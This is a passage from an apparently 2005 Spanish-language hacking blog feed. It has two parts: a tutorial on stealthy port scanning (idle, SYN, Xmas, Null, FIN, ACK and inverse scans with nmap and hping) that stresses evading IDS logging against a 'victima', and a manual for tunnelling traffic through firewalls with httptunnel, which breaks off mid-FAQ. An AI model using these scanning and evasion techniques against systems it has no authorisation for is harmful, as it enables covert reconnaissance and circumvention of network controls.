loss compensation.&lt;br /&gt;See relid.c for more information.&lt;br /&gt;&lt;br /&gt;Ya que estamos seguros de que el host C no tiene trafico (mirando en el campo&lt;br /&gt;'id' generalmente se tendrá un 1). Ahora procedemos a envíar un paquete al host&lt;br /&gt;B con la dirección de origen spoofeada para que paresca que el host C la mandó).&lt;br /&gt;&lt;br /&gt;Miramos de nuevo el estado del host C y...&lt;br /&gt;&lt;br /&gt;* Si los campos de 'id' siguen en el número constante del pricipio, el puer-&lt;br /&gt;  to en B está cerrado.&lt;br /&gt;&lt;br /&gt;* Si los campos de 'id' están alterados ligeramente, que el número constante&lt;br /&gt;  de 'id' del principio, se haya alterado en algunas unidades, bueno, el chiste&lt;br /&gt;  es que el puerto en B se encuentra abierto, ya que al recibir el SYN B para&lt;br /&gt;  iniciar la conexión le manda un paquete a C con SYN|ACk prendidos, y como&lt;br /&gt;  este no sabe que es lo que pasó cierra la conexión con un RST, de ahí que&lt;br /&gt;  veamos que C está generando tráfico.&lt;br /&gt;&lt;br /&gt;* Nota de revisión, ahora que me fijo bien, esto se podría clasificar como&lt;br /&gt;  scan Half Open :D, lo veremos más adelante.&lt;br /&gt;&lt;br /&gt;NOTA: Recomiendo usar como host 'dumb' (C) una maquina con windows, porque?&lt;br /&gt;      porque los números id, son más predecibles (estables) que una maquina&lt;br /&gt;      con linux por ejemplo. Los numeros de secuenciación suman +1 cada vez.&lt;br /&gt;&lt;br /&gt;[Herramientas]&lt;br /&gt;&lt;br /&gt; - Windows&lt;br /&gt;   Puedes usar el VScan, usando el parametro '-idle'&lt;br /&gt;&lt;br /&gt; - Linux&lt;br /&gt;   Para linux recomiendo usar el Idlescan&lt;br /&gt;&lt;br /&gt;[Ejemplo]&lt;br /&gt;&lt;br /&gt; vscan -idle 1.2.3.1 1.2.3.4 -p 21 23 -zombie 11.11.11.11 1337&lt;br /&gt;&lt;br /&gt; * Aquí se escaneará:&lt;br /&gt;   - Desde la IP 1.2.3.1 hasta 1.2.3.4 (1.2.3.1, 1.2.3.2, 1.2.3.3, 1.2.3.4)&lt;br /&gt;   - Desde el puerto 21 (ftp) hasta el 23 (telnet) (21, 22, 23)&lt;br /&gt;   - Cabe destacar que el puerto en 11.11.11.11 (1337 te suena?), debe estar&lt;br /&gt;     abierto para hacer las comprobaciones necesarias.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;=[Half Open]=&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de scan es también denominado SYN scan, y es muy parecido a&lt;br /&gt;la función CONNECT, solo que a último momento decidimos no hacer la co-&lt;br /&gt;nexión, que chingados es eso?, ahora lo explico...&lt;br /&gt;&lt;br /&gt;Nuestro host manda un paquete tcp a el objetivo con la bandera SYN encen-&lt;br /&gt;dida...&lt;br /&gt;&lt;br /&gt;a) Si el puerto está cerrado, el objetivo nos responde con un RST.&lt;br /&gt;&lt;br /&gt;b) SI El Puerto está abierto, el objetivo nos responde con un SYN|ACK e&lt;br /&gt;  inmediatamente debemos responder con un RST, cerrando la conexión.&lt;br /&gt;&lt;br /&gt;La Ventaja pRincipal de este tipo de escaneo es que se reduce potenci-&lt;br /&gt;almente los riesgos de que puedas ser detectado, pero en fín, no es 100%&lt;br /&gt;seguro, ya que hay algunas herramientas que ya lo loguean como son:&lt;br /&gt;&lt;br /&gt;-Synlogger&lt;br /&gt;-Courtney&lt;br /&gt;&lt;br /&gt;[Pro's]&lt;br /&gt;- Es un scaneo más rápido, evita algunas barreras y IDS&lt;br /&gt;&lt;br /&gt;[Contra's]&lt;br /&gt;- Es necesario tanto en Linux como en windows tener máximos privilegios&lt;br /&gt; para usar los raw sockets.&lt;br /&gt;&lt;br /&gt;[Log]&lt;br /&gt;&lt;br /&gt;Usaremos el tán afamado Nmap&lt;br /&gt;&lt;br /&gt;[root@localhost root]# nmap -sS -p135 -P0 -vv 200.64.170.182&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )&lt;br /&gt;Host dup-200-64-170-182.prodigy.net.mx (200.64.170.182) appears to be up ... good.&lt;br /&gt;Initiating SYN Stealth Scan against dup-200-64-170-182.prodigy.net.mx (200.64.170.182)&lt;br /&gt;The SYN Stealth Scan took 36 seconds to scan 1 ports.&lt;br /&gt;Interesting ports on dup-200-64-170-182.prodigy.net.mx (200.64.170.182):&lt;br /&gt;Port       State       Service&lt;br /&gt;135/tcp    filtered    loc-srv&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds&lt;br /&gt;&lt;br /&gt;NOTA: Cabe aclarar que 200.64.170.182 es una PC con w2k sp4, conexión a&lt;br /&gt;      internet con dial up. (Si, es mía ;), este tipo de scan nos da el&lt;br /&gt;      resultado más presiso del puerto, ya que, es cierto que tengo el&lt;br /&gt;      puerto 135 filtrado por firewall.&lt;br /&gt;&lt;br /&gt;NOTA2: Si tu PC es de uso personal te recomiendo que desactives los ser-&lt;br /&gt;       vicios de DCOM, ya que por ahí ya hay algunos xploits que te dan&lt;br /&gt;       una shell inversa según ví.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------&lt;br /&gt;=[Xmass tree]=&lt;br /&gt;--------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de scan es de los más nuevos, quisá de los más extraños ya que&lt;br /&gt;se utiliza una combinación de flags que en condiciones normales no se usa-&lt;br /&gt;ría deacuerdo al protocolo RFC 793.&lt;br /&gt;&lt;br /&gt;Se comienza mandando un paquete tcp con las banderas de FIN, URG y PSH y&lt;br /&gt;se logra saber el estado del puerto si:&lt;br /&gt;&lt;br /&gt;a) Si el puerto está cerrado, el objetivo nos responde con un RST.&lt;br /&gt;&lt;br /&gt;   [root@localhost root]# ./hping 64.70.145.95 -FUP -c 4 -p 81&lt;br /&gt;   HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes&lt;br /&gt;   60 bytes from 64.70.145.95: flags=RA seq=0 ttl=238 win=0 time=108.1 ms&lt;br /&gt;   60 bytes from 64.70.145.95: flags=RA seq=1 ttl=238 win=0 time=107.9 ms&lt;br /&gt;&lt;br /&gt;   --- 64.70.145.95 hping statistic ---&lt;br /&gt;   4 packets tramitted, 2 packets received, 50% packet loss&lt;br /&gt;&lt;br /&gt;b) Si el puerto está abierto, el objetivo no regresa nada.&lt;br /&gt;&lt;br /&gt;   [root@localhost root]# ./hping 64.70.145.95 -FUP -c 4 -p 80&lt;br /&gt;   HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes&lt;br /&gt;&lt;br /&gt;   --- 64.70.145.95 hping statistic ---&lt;br /&gt;   4 packets tramitted, 0 packets received, 100% packet loss&lt;br /&gt;&lt;br /&gt;* En nmap bastaría con correrlo así:&lt;br /&gt;  nmap -sX -p(rangode-puerto) IP&lt;br /&gt;&lt;br /&gt;Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,&lt;br /&gt;y BSDI.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;=[Null Scan]=&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de scan requiere que mandemos un paquete tcp sin ninguna flag en&lt;br /&gt;uso, por eso se le llama 'Null scan' ya que precticamente mandamos un paque-&lt;br /&gt;te vacio, cabe aclarar que en los sistemas Windows no funciona este tipo de&lt;br /&gt;procedimiento. Logramos saber el estado del puerto cuando:&lt;br /&gt;&lt;br /&gt;a) Si el puerto está abierto, el objetivo no responde a el paquete.&lt;br /&gt;&lt;br /&gt;  [root@localhost root]# ./hping2 64.70.145.95 -c 4 -p 81&lt;br /&gt;  HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes&lt;br /&gt;  60 bytes from 64.70.145.95: flags=RA seq=0 ttl=238 win=0 time=109.5 ms&lt;br /&gt;&lt;br /&gt;  --- 64.70.145.95 hping statistic ---&lt;br /&gt;  4 packets tramitted, 1 packets received, 75% packet loss&lt;br /&gt;&lt;br /&gt;b) Si el puerto está cerrado, el objetivo nos responde con un RST.&lt;br /&gt;&lt;br /&gt;  [root@localhost root]# ./hping2 64.70.145.95 -c 4 -p 80&lt;br /&gt;  HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes&lt;br /&gt;&lt;br /&gt;  --- 64.70.145.95 hping statistic ---&lt;br /&gt;  4 packets tramitted, 0 packets received, 100% packet loss&lt;br /&gt;&lt;br /&gt;Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,&lt;br /&gt;,BSDI y MVS.&lt;br /&gt;&lt;br /&gt;NOTA: para usar esta tecnica hay que modificar el hping.c...&lt;br /&gt;&lt;br /&gt;       if (tcp_th_flags == 0)                   /*tcp flags ain't set */&lt;br /&gt;               tcp_th_flags |= TH_FIN;&lt;br /&gt;&lt;br /&gt;      si no le dimos ninguna flag en el parametro, nos pone el FIN como&lt;br /&gt;      default, así que solo comentemos la línea y ruleará su hping.&lt;br /&gt;&lt;br /&gt;* En nmap basta con correrlo así:&lt;br /&gt;  nmap -sN -p(rangode-puerto) IP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------&lt;br /&gt;=[FIN Scan]=&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este tipo de scan manda un paquete "vacio" completamente a el host, como&lt;br /&gt;prueba.&lt;br /&gt;&lt;br /&gt;Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,&lt;br /&gt;y BSDI y MVS.&lt;br /&gt;&lt;br /&gt;* En nmap basta con correrlo así:&lt;br /&gt;  nmap -sF -p(rangode-puerto) IP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;&gt;SEGUNDA PARTE.&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;Aquí comienzan las opciones al ICMP común y corriente al que estamos acostum-&lt;br /&gt;brados, ya que muchos administradores están comenzando a filtrar estos paquetes&lt;br /&gt;reduciendo el trafico innecesario a sus redes, y evitando ciertos tipos de ata-&lt;br /&gt;ques con este protocolo.&lt;br /&gt;&lt;br /&gt;Así que es hora de buscar opciones a nuestro clasico ping. Aunque siempre es&lt;br /&gt;más practico agotar su uso, y ya luego buscar otras opciones :p&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------&lt;br /&gt;=[ACK Scan]=&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;El ACK Scan, nos puede servir de dos cosas:&lt;br /&gt;&lt;br /&gt;1) Comprobar la existencia de un firewall.&lt;br /&gt;&lt;br /&gt;En el ACK Scan, mandamos un paquete con la bandera de ACK prendida, cuando el&lt;br /&gt;filtro (la ente que está capturando el trafico), revisa que no hemos comenzado&lt;br /&gt;una seción típica de tcp (primero va el SYN recuerdalo...), entonces:&lt;br /&gt;&lt;br /&gt;a) Si el servidor nos responde con un RST, el puerto se puede clasificar como&lt;br /&gt;  'no filtrado'.&lt;br /&gt;&lt;br /&gt;b) Si el servidor no nos responde, podemos considerar el puerto como filtrado.&lt;br /&gt;&lt;br /&gt;Es bueno utilizar esta tecnica para saber si nuestro objetivo deja de ser el&lt;br /&gt;host corriente con el que estás acostumbrado a tratar, ya que este cuenta con&lt;br /&gt;un firewall en la mayoría de los casos, digo la mayoría ya que no solo los fi-&lt;br /&gt;rewall hacen eso).&lt;br /&gt;&lt;br /&gt;2) Comprobar la existencia del host en Internet.&lt;br /&gt;&lt;br /&gt;Igual que en el anterior mandamos el paquete con la flag prendida, entonces:&lt;br /&gt;&lt;br /&gt;a) Si se nos responde con un RST el servidor existe.&lt;br /&gt;&lt;br /&gt;b) Si no se nos responde, o nos llega el mensaje de "host unreachable" entonces&lt;br /&gt;   el servidor no existe.&lt;br /&gt;&lt;br /&gt;* En nmap basta con correrlo así:&lt;br /&gt;  nmap -PT IP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;----------------&lt;br /&gt;=[Inverse Scan]=&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esta tecnica es parecida al la anterior, solo que en esta se utiliza la flag&lt;br /&gt;RST, y esperamos respuesta, en caso de:&lt;br /&gt;&lt;br /&gt;a) No recibir nada, el host probablemente exista.&lt;br /&gt;&lt;br /&gt;b) Recibimos el mensaje de "ICMP host unreachable", esto quiere decir que el&lt;br /&gt;   host no existe.&lt;br /&gt;&lt;br /&gt;Lo especialmente bueno de esta tecnica es que ninguno (de los IDS que yo he&lt;br /&gt;visto) loguean los paquetes RST con la configuración por default.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------&lt;br /&gt;=[Despedida]=&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;Pues como podemos ver hay varias maneras de tratar de ocultar nuestros "actos"&lt;br /&gt;y supongo que no son las únicas tecnicas que hay, solo es cuestión de conocer el&lt;br /&gt;protocolo y adaptarlo a nuestras necesidades.&lt;br /&gt;&lt;br /&gt;Y podemos ver que al final con un simple escaneo, pues se nos pueden pasar por&lt;br /&gt;inadvertidos puertos "sensibles" de nuestra victima, así que, aquí tienen un poco&lt;br /&gt;más de información que pueden utilizar para que su exploración sea presisa y un&lt;br /&gt;poco más segura.&lt;br /&gt;&lt;br /&gt;Gracias a todos aquellos que me rolaron una shell para guardar los logs, ya que&lt;br /&gt;los sockets que se necesitan para hacer este tipo de cosas (Raw Sockets) necesitan&lt;br /&gt;máximos privilegios, así que no mucha gente está dispuesta a darme root en su box&lt;br /&gt;así nomás: Toloache, Crypkey, ST38410A y Spiderlinux.&lt;br /&gt;&lt;br /&gt;Un Saludo a:&lt;br /&gt;&lt;br /&gt;- Adriana...&lt;br /&gt;&lt;br /&gt;- Mi equipo hakim.ws, hkm, taer y Freetv donde quiera que esté.&lt;br /&gt;&lt;br /&gt;- Raza Mexicana, gracias a que alguna vez un niño curioso vio cierta ezine de ca-&lt;br /&gt; sualidad en Inet, le dio por conocer este mundo. Gracias.&lt;br /&gt;&lt;br /&gt;- KuKulKan, wireless, dr_fdisk^, vision, zacr, MaRieLvA, Yield, Fatal, Xytras, DeadSector,&lt;br /&gt; 0x90, beck, Daemon, dex, Neuro, rwx-rx, b1n, NaPa, a_d_mIRC, Espeis y de nuevo a&lt;br /&gt; toloache gracias por todo!...&lt;br /&gt; (si quieres ver tu nick aqui hd@hakim.ws XD)&lt;br /&gt;&lt;br /&gt;- G7W (Ro,Bi,Su,Is,Ed,Ch &amp; Da) ja!&lt;br /&gt;&lt;br /&gt;Alguna queja, sujerencia, etc, etc, etc, escribe a: hd@hakim.ws&lt;br /&gt;&lt;br /&gt;Nos vemos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;=[Referencias, Links &amp;amp; Stuff]=&lt;br /&gt;------------------------------&lt;br /&gt;&lt;br /&gt;- El acrónimo "IDS" viene del ingles Intrusion Detection Systems, traduscamolo como&lt;br /&gt; sistema de detección de intrusiones, sirve para informar y loguear cualquier acti-&lt;br /&gt; vidad que se le proporcione en el respectivo archivo de configuración del programa.&lt;br /&gt;&lt;br /&gt;- Entiendase por'id', como el campo de ID de la IP en el output de hping.&lt;br /&gt;&lt;br /&gt;- Intrusion Detection FAQ&lt;br /&gt; Version 1.80 - Updated June 12, 2003&lt;br /&gt; http://www.sans.org/resources/idfaq/&lt;br /&gt;&lt;br /&gt;- Texto original acerca del "dumb scan"&lt;br /&gt; http://www.kyuzz.org/antirez/papers/dumbscan.html&lt;br /&gt;&lt;br /&gt;- "The hping Idle Host Scan"&lt;br /&gt; Erik J. Kamerling&lt;br /&gt; http://www.giac.org/practical/gsec/Erik_Kamerling_GSEC.pdf&lt;br /&gt;&lt;br /&gt;- "Port Scanning without the SYN flag"&lt;br /&gt; Uriel Maimon&lt;br /&gt; Phrack #49 articulo 15&lt;br /&gt; http://www.phrack.org/phrack/49/P49-15&lt;br /&gt;&lt;br /&gt;- Idlescan-v0.1&lt;br /&gt; Linux&lt;br /&gt; http://www.securityfocus.com/tools/679&lt;br /&gt;&lt;br /&gt;- Hping&lt;br /&gt; Salvatore Sanfilippo &lt;antirez@invece.org&gt;&lt;br /&gt; Linux&lt;br /&gt; http://packetstormsecurity.nl/UNIX/scanners/hping.c&lt;br /&gt;&lt;br /&gt;- Hping2&lt;br /&gt; Salvatore Sanfilippo &lt;antirez@invece.org&gt;&lt;br /&gt; Linux&lt;br /&gt; http://www.hping.org&lt;br /&gt;&lt;br /&gt;- Hping3&lt;br /&gt; Salvatore Sanfilippo &lt;antirez@invece.org&gt;&lt;br /&gt; Estado actual de desarrollo de Hping3, que prometen que sea una herramienta un poco&lt;br /&gt; más superior a hping2, con una salida más 'leible', y al parecer se le van a poder&lt;br /&gt; agregar scripts, esas son algunas de sus caracteristcas finales.&lt;br /&gt; http://www.kyuzz.org/antirez/hping3.html&lt;br /&gt;&lt;br /&gt;- Nmap&lt;br /&gt; Fyodor &lt;fyodor@insecure.org&gt;&lt;br /&gt; Linux, Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga.&lt;br /&gt; http://www.insecure.org/nmap/&lt;br /&gt;&lt;br /&gt;- Man del Nmap&lt;br /&gt; http://www.insecure.org/nmap/data/nmap_manpage-es.html&lt;br /&gt;&lt;br /&gt;- Una pequeña guía acerca del uso de Nmap&lt;br /&gt; http://www.plazalinux.com/nmap-intro-guide.php&lt;br /&gt;&lt;br /&gt;- VScan&lt;br /&gt; viv3kr &lt;viv3kr@yahoo.com&gt;&lt;br /&gt; Windows 2000 y Windows Xp&lt;br /&gt; http://www.securityfocus.org/tools/3124&lt;br /&gt;&lt;br /&gt;- Sendtcp.c&lt;br /&gt; messer &lt;mssr@gmx.net&gt;&lt;br /&gt; http://packetstorm.linuxsecurity.com/Win/sendtcp.c&lt;br /&gt;&lt;br /&gt;- SynLog&lt;br /&gt; Thamer AL-Herbish &lt;shadows@whitefang.com&gt;&lt;br /&gt; http://www.cis.udel.edu/~zhi/www.docshow.net/warcher/synlog-0.4.tar.gz&lt;br /&gt;&lt;br /&gt;- Courtney&lt;br /&gt; University of California&lt;br /&gt; Requiere Perl v.5, libpcap, y tcpdump.&lt;br /&gt; ftp://coast.cs.purdue.edu/pub/tools/unix/logutils/courtney/&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111666119259179177?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111666119259179177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111666119259179177' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666119259179177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111666119259179177'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/tecnicas-de-escaneo-dumb-half-open.html' title='Tecnicas de Escaneo Dumb, Half Open, Xmass, Null y FIN Scan. ACK e Inverse Scan.'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666112559174360</id><published>2005-05-21T00:38:00.001-07:00</published><updated>2005-05-21T00:39:03.993-07:00</updated><title type='text'>Manual HTTPTUNNEL en español. ( "Como brincar firewalls" )</title><content type='html'>&lt;pre&gt;HTTPTUNNEL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTPTUNNEL&lt;br /&gt;.Gnu.httptunnel&lt;br /&gt;&lt;br /&gt;PROTOCOLOS&lt;br /&gt;.HTTP.1.1&lt;br /&gt;&lt;br /&gt;FAQ DE HTTPTUNNEL&lt;br /&gt;.FAQ.de.httptunnel&lt;br /&gt;&lt;br /&gt;HTTPTUNNEL -H --HELP&lt;br /&gt;.htc.-h.--help&lt;br /&gt;.hts.-h.--help&lt;br /&gt;&lt;br /&gt;PUERTOS&lt;br /&gt;.Lista.de.puertos.comunes&lt;br /&gt;.Lista.de.aplicaciones.relacionadas.con.puertos&lt;br /&gt;&lt;br /&gt;REFERENCIAS&lt;br /&gt;.Referencias&lt;br /&gt;&lt;br /&gt;GR33TS&lt;br /&gt;.gr33ts&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTPUNNEL&lt;br /&gt;&lt;=======&gt;&lt;br /&gt;&lt;br /&gt;.Gnu.httptunel&lt;br /&gt;&lt;br /&gt;HTTPTUNNEL crea una conexion virtual bidireccional tuneleada&lt;br /&gt;en peticiones de HTTP.   Las peticiones de HTTP  pueden  ser&lt;br /&gt;enviadas atraves de un proxy.&lt;br /&gt;&lt;br /&gt;Si  por  ejemplo  te  encuentras  detras  de un firewall que&lt;br /&gt;unicamente te permite ver paginas de internet (puerto 80)  y&lt;br /&gt;no te deja correr otros servicios como Kazaa, MSN Messenger,&lt;br /&gt;IRC,  Telnet,  SSH.    Con  esta  herramienta  podras  pasar&lt;br /&gt;diferentes  conexiones  atravez  del  mismo  puerto  80.&lt;br /&gt;&lt;br /&gt;Para lo siguiente necesitaras una maquina externa  la cual&lt;br /&gt;usaras como tunel para conectarte a la maquina destino. Ej.&lt;br /&gt;&lt;br /&gt;Quieres  conectarte a un canal  de IRC  pero en tu red esta&lt;br /&gt;bloqueado  el  puerto  6667  necesario  para la conexion al&lt;br /&gt;servidor irc.red-latina.org...&lt;br /&gt;&lt;br /&gt;A localhost cliente (htc)&lt;br /&gt;B maquinatunel servidor (hts)&lt;br /&gt;6667 puerto de IRC&lt;br /&gt;irc.red-latina.org servidor de IRC&lt;br /&gt;&lt;br /&gt;A:6667 &lt;--&gt; FIREWALL -&gt; X&lt;br /&gt;&lt;br /&gt;El firewall bloquea la salida por ese puerto.&lt;br /&gt;&lt;br /&gt;A:80 &lt;==&gt; FIREWALL &lt;==&gt; B:80 &lt;--&gt; irc.red-latina.org:6667&lt;br /&gt;&lt;br /&gt;La conexion  192.168.0.2:80  sale por el puerto 80 permitido&lt;br /&gt;por el firewall dirigido a la conexion B:80  quien recibe la&lt;br /&gt;informacion de irc.red-latina.org y la mete en peticiones de&lt;br /&gt;HTTP para ser pasadas atravez del puerto 80.&lt;br /&gt;&lt;br /&gt;La forma de transmision por puerto 80 estan reguladas por el&lt;br /&gt;protocolo  HTTP,   por  lo  que  es  necesario   hacerle  un&lt;br /&gt;encapsulamiento   a   la   informacion   de manera  que  sea&lt;br /&gt;compatible con este protocolo.&lt;br /&gt;&lt;br /&gt;El encapsulado es llevado a cabo en la maquina tunel (B)  y&lt;br /&gt;es leido  por la maquina del cliente (A), es por eso que se&lt;br /&gt;usan los programas htc (cliente) (A) y hts (servidor) (B)&lt;br /&gt;&lt;br /&gt;Por parte del servidor es necesario correr:&lt;br /&gt;$ hts -F irc.red-latina.org:6667 80&lt;br /&gt;&lt;br /&gt;Por parte del cliente correr:&lt;br /&gt;$ htc -F 80 B:80&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PROTOCOLOS&lt;br /&gt;&lt;========&gt;&lt;br /&gt;&lt;br /&gt;.HTTP&lt;br /&gt;&lt;br /&gt;El protocolo HTTP 1.1 Hyper Text Transfer Protocol (RFC2616)&lt;br /&gt;utilza  metodos  de  peticiones  llamados HTTP request,  una&lt;br /&gt;peticion de URL, encabezado y contenido. HTTP 1.1 define los&lt;br /&gt;siguientes metodos:&lt;br /&gt;&lt;br /&gt;* GET: Obtiene recurso identificado por la peticion de URL&lt;br /&gt;* HEAD: Obtiene encabezado especificado en peticion de URL&lt;br /&gt;* POST: Manda datos al servidor&lt;br /&gt;* PUT: Guarda un recurso en la peticion de URL&lt;br /&gt;* DELETE: Borra recurso identificado por la peticion de URL&lt;br /&gt;* OPTIONS: Obtiene metodos de HTTP que soporta el servidor&lt;br /&gt;* TRACE: Obtiene encabezados mandados por la peticion TRACE&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FAQ DE HTTPTUNNEL&lt;br /&gt;&lt;===============&gt;&lt;br /&gt;&lt;br /&gt;.FAQ.de.httptunnel&lt;br /&gt;&lt;br /&gt;Q:  Que es y para que sirve httptunnel?&lt;br /&gt;A:  Es un programa para mandar informacion atravez de un&lt;br /&gt;HTTP proxy.    En si esto no es muy importante, necesitas un&lt;br /&gt;cliente del programa para  crear  el  "tunel".   Por ejemplo&lt;br /&gt;puedes  usar telnet  para conectarte a una computadora fuera&lt;br /&gt;del proxy.&lt;br /&gt;&lt;br /&gt;Q:  Como me conecto atravez del proxy?&lt;br /&gt;A:  &lt;br /&gt;&lt;br /&gt;En el server debes correr hts.  Si quisieras redirigir el&lt;br /&gt;trafico del 80 (http) al puerto 23 (telnet) pondrias algo&lt;br /&gt;asi:&lt;br /&gt;&lt;br /&gt;hts -F server.test.com:23 80&lt;br /&gt;&lt;br /&gt;En el cliente debes correr htc. Si te conectaras atraves de&lt;br /&gt;un proxy utiliza la opcion -P.&lt;br /&gt;&lt;br /&gt;htc -P proxy.corp.com:80 -F 22 server.test.com:80&lt;br /&gt;&lt;br /&gt;Un telnet a localhost  mandara el trafico por el  puerto 80&lt;br /&gt;del proxy server al puerto 80 del server, y de regreso a tu&lt;br /&gt;puerto 23.&lt;br /&gt;&lt;br /&gt;Q:  httptunnel crashea mi SuSE 5.3, porque?&lt;br /&gt;A:  No se, pero actualizar a 6.0 ayuda.&lt;br /&gt;&lt;br /&gt;Q:  Puse 'hts -d /dev/ptyq1' pero 'cat &lt;/dev/ptyq1'&lt;br /&gt;marca error.&lt;br /&gt;A:  Usa 'cat &lt;/dev/ttyq1'.&lt;br /&gt;&lt;br /&gt;Q:  Mi amigo corre hts en el puerto 8888, pero cuando&lt;br /&gt;me intento conectar me marca error.&lt;br /&gt;A:  hts no maneja tunneles multiples. Puedes correr&lt;br /&gt;otro proceso de hts.&lt;br /&gt;&lt;br /&gt;Q:  Mi firewall requiere HTTP user authentication (y&lt;br /&gt;no es soportado por httptunnel). Planean algun dia incluir&lt;br /&gt;soporte?&lt;br /&gt;A:  Si.&lt;br /&gt;&lt;br /&gt;Q:  Que tan dificil seria implementar hts como un cgi&lt;br /&gt;en un servidor de web normal?&lt;br /&gt;A:  &lt;br /&gt;&lt;br /&gt;hts no puede  ser  llamado  directamente  del  HTTP server,&lt;br /&gt;porque  abriria  demasiadas  conexiones  en el lifetime del&lt;br /&gt;tunnel.  Si el HTTP server ejecuta nuevas instancias,de hts&lt;br /&gt;cada ves que se hace un request no se tendria acceso al hts&lt;br /&gt;anterior.&lt;br /&gt;&lt;br /&gt;De todas formas un proxy CGI que mande el request a un hts&lt;br /&gt;normal  esuchando en un puerto diferente al 80  seria algo&lt;br /&gt;facil de hacer.&lt;br /&gt;&lt;br /&gt;Q:  Has pensado en implementar HTTPS?&lt;br /&gt;A:  Ha sido sugerido, pero es preferible usas software&lt;br /&gt;externo para realizar la encripcion.&lt;br /&gt;&lt;br /&gt;Q:  En REMOTE (brugd.ctrl-c.liu.se) hago lo siguiente:&lt;br /&gt;&lt;br /&gt;hts -F localhost:23 8888&lt;br /&gt;&lt;br /&gt;Esto funciono bien la primera vez, y ahora me marca:&lt;br /&gt;&lt;br /&gt;hts: couldn't create tunnel&lt;br /&gt;&lt;br /&gt;A:  El proceso sigue corriendo en el backgroud.&lt;br /&gt;Q:  &lt;br /&gt;&lt;br /&gt;En LOCAL (dhcp-XXX.enea.se) hago:&lt;br /&gt;&lt;br /&gt;htc -F 2323 -P&lt;br /&gt;http://internwebb/proxy2.pac:8000 brugd.ctrl-c.liu.se:8888&lt;br /&gt;&lt;br /&gt;Y ahora intento:&lt;br /&gt;&lt;br /&gt;[root@localhost httptunnel-1.101]# telnet localhost 2323&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;telnet: Unable to connect to remote host: Connection refused&lt;br /&gt;&lt;br /&gt;A: [Christian Brideau] http://internwebb/proxy2.pac:8000&lt;br /&gt;no es la direccion del proxy. Esta es la direccion del&lt;br /&gt;Proxy-Auto-Configure (PAC). Este archivo contiene la&lt;br /&gt;direccion del servidor proxy. Para encontrarla solo abre un&lt;br /&gt;browser a cualquier pagina y usa netstat.&lt;br /&gt;&lt;br /&gt;Q:  Porque falla el 'configure' en HP-UX?&lt;br /&gt;A:  &lt;br /&gt;&lt;br /&gt;Porque no has instalado GCC. Si&lt;br /&gt;&lt;br /&gt;CFLAGS=-O ./configure&lt;br /&gt;&lt;br /&gt;no funciona, instala gcc, o cualquier compilador ANSI C.&lt;br /&gt;&lt;br /&gt;Q:  Cuando uso SSH (o VNC, o &lt;cualquier-otro-programa&gt;)&lt;br /&gt;atravez del httptunnel, El programa se congela despues de un&lt;br /&gt;tiempo. Cuando quiero cerrar el programa y reconectar me&lt;br /&gt;marca un timed out. Que pasa?&lt;br /&gt;&lt;br /&gt;Tu conexion de httptunnel ha 